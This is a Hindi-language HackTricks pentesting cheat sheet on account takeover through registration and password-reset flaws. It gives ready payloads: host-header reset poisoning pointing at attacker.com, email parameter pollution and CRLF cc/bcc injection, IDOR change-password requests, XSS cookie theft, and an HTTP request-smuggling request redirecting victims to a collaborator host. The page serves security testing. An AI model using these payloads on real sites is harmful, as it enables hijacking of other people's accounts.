पंजीकरण और अधिग्रहण कमजोरियाँ

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

पंजीकरण अधिग्रहण

डुप्लिकेट पंजीकरण

  • मौजूदा उपयोगकर्ता नाम का उपयोग करके जनरेट करने की कोशिश करें
  • ईमेल को बदलने की जांच करें:
  • uppsercase
  • +1@
  • ईमेल में कुछ डॉट जोड़ें
  • ईमेल नाम में विशेष वर्ण (%00, %09, %20)
  • ईमेल के बाद काले वर्ण डालें: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

उपयोगकर्ता नाम गणना

जांचें कि क्या आप यह पता लगा सकते हैं कि कब एक उपयोगकर्ता नाम पहले से ही एप्लिकेशन के अंदर पंजीकृत है।

पासवर्ड नीति

एक उपयोगकर्ता बनाने पर पासवर्ड नीति की जांच करें (जांचें कि क्या आप कमजोर पासवर्ड का उपयोग कर सकते हैं)।
इस मामले में आप क्रेडेंशियल्स को ब्रूटफोर्स करने की कोशिश कर सकते हैं।

SQL इंजेक्शन

इस पृष्ठ की जांच करें यह जानने के लिए कि कैसे खाता अधिग्रहण का प्रयास करें या SQL इंजेक्शन के माध्यम से जानकारी निकालें।

ओथ अधिग्रहण

OAuth to Account takeover

SAML कमजोरियाँ

SAML Attacks

ईमेल बदलें

जब पंजीकृत हों तो ईमेल बदलने की कोशिश करें और जांचें कि क्या यह परिवर्तन सही ढंग से मान्य है या इसे मनमाने ईमेल में बदल सकते हैं।

अधिक जांचें

  • जांचें कि क्या आप निष्क्रिय ईमेल का उपयोग कर सकते हैं
  • लंबा पासवर्ड (>200) DoS की ओर ले जाता है
  • खाता निर्माण पर दर सीमाओं की जांच करें
  • username@burp_collab.net का उपयोग करें और कॉलबैक का विश्लेषण करें

पासवर्ड रीसेट अधिग्रहण

संदर्भकर्ता के माध्यम से पासवर्ड रीसेट टोकन लीक

  1. अपने ईमेल पते पर पासवर्ड रीसेट का अनुरोध करें
  2. पासवर्ड रीसेट लिंक पर क्लिक करें
  3. पासवर्ड न बदलें
  4. किसी 3rd पार्टी वेबसाइटों पर क्लिक करें (जैसे: फेसबुक, ट्विटर)
  5. Burp Suite प्रॉक्सी में अनुरोध को इंटरसेप्ट करें
  6. जांचें कि क्या संदर्भकर्ता हेडर पासवर्ड रीसेट टोकन लीक कर रहा है।

पासवर्ड रीसेट जहर देना

  1. Burp Suite में पासवर्ड रीसेट अनुरोध को इंटरसेप्ट करें
  2. Burp Suite में निम्नलिखित हेडर जोड़ें या संपादित करें: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. संशोधित हेडर के साथ अनुरोध को अग्रेषित करें
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. host header के आधार पर पासवर्ड रीसेट URL की तलाश करें जैसे: https://attacker.com/reset-password.php?token=TOKEN

ईमेल पैरामीटर के माध्यम से पासवर्ड रीसेट

powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. हमलावर को अपने खाते में लॉगिन करना होगा और पासवर्ड बदलें फीचर पर जाना होगा।
  2. Burp Suite शुरू करें और अनुरोध को इंटरसेप्ट करें।
  3. इसे रिपीटर टैब में भेजें और पैरामीटर संपादित करें: User ID/email
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

पासवर्ड रीसेट टोकन को हर बार यादृच्छिक रूप से उत्पन्न और अद्वितीय होना चाहिए।
यह निर्धारित करने की कोशिश करें कि क्या टोकन समाप्त होता है या यह हमेशा समान होता है, कुछ मामलों में उत्पन्न करने का एल्गोरिदम कमजोर होता है और इसे अनुमानित किया जा सकता है। निम्नलिखित चर एल्गोरिदम द्वारा उपयोग किए जा सकते हैं।

  • Timestamp
  • UserID
  • User का ईमेल
  • पहला नाम और अंतिम नाम
  • जन्म तिथि
  • क्रिप्टोग्राफी
  • केवल संख्या
  • छोटा टोकन अनुक्रम (अक्षर [A-Z,a-z,0-9] के बीच)
  • टोकन पुन: उपयोग
  • टोकन समाप्ति तिथि

Leaking Password Reset Token

  1. एक विशिष्ट ईमेल के लिए API/UI का उपयोग करके पासवर्ड रीसेट अनुरोध ट्रिगर करें, जैसे: test@mail.com
  2. सर्वर प्रतिक्रिया का निरीक्षण करें और resetToken की जांच करें।
  3. फिर टोकन का उपयोग एक URL में करें जैसे https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. सिस्टम पर एक उपयोगकर्ता नाम के साथ पंजीकरण करें जो पीड़ित के उपयोगकर्ता नाम के समान हो, लेकिन उपयोगकर्ता नाम के पहले और/या बाद में सफेद स्थान डाला गया हो। जैसे: "admin "
  2. अपने दुर्भावनापूर्ण उपयोगकर्ता नाम के साथ पासवर्ड रीसेट का अनुरोध करें।
  3. अपने ईमेल पर भेजे गए टोकन का उपयोग करें और पीड़ित का पासवर्ड रीसेट करें।
  4. नए पासवर्ड के साथ पीड़ित खाते में लॉगिन करें।

प्लेटफ़ॉर्म CTFd इस हमले के प्रति संवेदनशील था।
देखें: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. एप्लिकेशन के अंदर या एक उपडोमेन में XSS खोजें यदि कुकीज़ को पैरेंट डोमेन पर स्कोप किया गया है: *.domain.com
  2. वर्तमान सत्र कुकी लीक करें।
  3. कुकी का उपयोग करके उपयोगकर्ता के रूप में प्रमाणीकरण करें।

Account Takeover Via HTTP Request Smuggling

1. smuggler का उपयोग करें ताकि HTTP Request Smuggling (CL, TE, CL.TE) के प्रकार का पता लगाया जा सके।
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. एक अनुरोध तैयार करें जो POST / HTTP/1.1 को निम्नलिखित डेटा के साथ ओवरराइट करेगा:
GET http://something.burpcollaborator.net HTTP/1.1 X: जिसका लक्ष्य पीड़ितों को burpcollab पर ओपन रीडायरेक्ट करना और उनकी कुकीज़ चुराना है।
3. अंतिम अनुरोध निम्नलिखित जैसा दिख सकता है

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone रिपोर्ट इस बग का फायदा उठाते हुए
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

CSRF के माध्यम से खाता अधिग्रहण

  1. CSRF के लिए एक पेलोड बनाएं, जैसे: “पासवर्ड परिवर्तन के लिए ऑटो सबमिट के साथ HTML फॉर्म”
  2. पेलोड भेजें

JWT के माध्यम से खाता अधिग्रहण

JSON वेब टोकन का उपयोग एक उपयोगकर्ता को प्रमाणित करने के लिए किया जा सकता है।

  • दूसरे उपयोगकर्ता आईडी / ईमेल के साथ JWT संपादित करें
  • कमजोर JWT हस्ताक्षर की जांच करें

JWT Vulnerabilities (Json Web Tokens)

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें